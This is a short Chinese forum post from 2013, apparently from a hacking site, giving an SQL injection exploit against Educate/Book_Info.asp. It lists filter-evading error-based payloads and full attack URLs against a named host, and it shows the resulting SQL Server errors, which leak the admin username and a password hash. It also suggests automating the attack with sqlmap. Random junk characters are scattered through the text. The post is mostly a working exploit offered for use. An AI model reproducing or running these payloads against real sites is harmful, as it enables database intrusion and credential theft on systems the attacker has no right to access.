漏洞出现在Educate/Book_Info.asp
7 Z/ S. Y7 i* ^9 o ?此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出# l* {* D4 V8 |
exp：如下
$ t2 U2 b" a5 z6 x6 n6 D2 T1 C查询管理账号：+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper) |4 m* `4 m6 r7 a! a, E
查询管理密码：+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)2 j/ a# e9 j6 M) j) w# `
http://jobs.0day5.com/Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)0 ~) }6 O0 p; v+ s" A* X
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
' F# P# b0 t/ ?7 ^$ Q将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。
! w- l% z% I( X: A( F6 K8 ^/Educate/Book_Info.asp，行 8( `' B6 B0 _/ S2 |! z) |
http://jobs.0day5.com/Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)7 p" ? @/ M" U! U( A
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'( S2 y- k* t' Q* `: R$ `, M" b
将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。5 ]6 ]% S2 R9 d) b6 u+ X, k. _$ @; m
/Educate/Book_Info.asp，行 8 |
发表于 2013-2-13 23:56:06
收藏
支持
反对